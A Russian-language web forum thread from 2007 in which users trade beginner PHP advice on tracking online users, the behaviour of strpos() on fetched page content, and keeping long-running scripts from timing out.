Meanor, не забывай на каждой странице писать в online новый time() потомучто как я понял, он у тебя пишется только при входе, поэтому будет показывать только число юзверей залогинившехся в течении 10 минут, а не обновивших сайт в течении 10 минут. Ну ты мну я думаю понял
Darkweider
17.09.2007, 22:56
$co = file_get_contents($url); //получаем содержимое
$res1 = strpos($co,"не найдено");
Вопрос: функция strpos() будет искать до первого вхождения или пробежит весь файл? Можно ли организовать более быстрый поиск?
$co = file_get_contents($url); //получаем содержимое
$res1 = strpos($co,"не найдено");
Вопрос: функция strpos() будет искать до первого вхождения или пробежит весь файл? Можно ли организовать более быстрый поиск?
куда уж быстрее
php.net не рулит нынче?
http://ru.php.net/manual/ru/function.strpos.php
strpos -- Возвращает позицию первого вхождения подстроки
челы в общем надо чтобы скрипт пахал постоянно пока не закончт так сказать начатое
я ставлю ему
ignore_user_abort(1);
@set_time_limit(0);
но серавно на некоторых серваках он работает но потом вылетает с эрором о конфигурации сервера
как заставить работать его постоянно чтобы не случилось -- или это из-за конфига php??
Y.Dmitriy
19.09.2007, 21:06
@set_time_limit(0); просто укажи большое время... у мну работало...
@set_time_limit(0); просто укажи большое время... у мну работало...
там же @ стоит. значит ошибка из-за ignore_user_abort(1); или нет?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot